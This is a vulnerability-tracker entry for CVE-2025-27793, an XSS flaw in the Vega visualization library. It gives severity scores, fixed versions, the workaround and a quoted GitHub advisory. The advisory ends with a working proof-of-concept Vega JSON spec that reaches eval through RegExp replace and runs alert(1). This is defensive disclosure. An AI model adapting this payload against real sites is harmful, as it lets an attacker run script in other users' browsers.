CVE-2025-27793
mediumpriority · track · 0EPSS 0.005 · 44 %ileEUUSEPSS · scored 2026-10-26
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.3–5.3
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-963h-3v39-3pqfVega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]2025-03-27ghsa · osvUS
## Impact Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`. ## Workarounds - Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/) - Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`) ### POC Summary Calling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function. ### POC Details Consider the function call `replace('foo', {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec('foo')` winds up being called. The resulting malicious call looks like this: ``` replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false}) ``` Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`. ### Reproduction steps ``` {"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]} ```
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://github.com/vega/vega/releases/tag/v5.32.0Patchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2025-27793cnnvd
- https://vigilance.fr/vulnerability/Vega-code-execution-via-JSON-Definitions-Drawing-Graphs-46924cnnvd
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966enisa_euvd
- https://github.com/vega/vega/releases/tag/v5.32.0enisa_euvd
- https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqfenisa_euvd
- https://vega.github.io/vega/usage/interpreterenisa_euvd
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan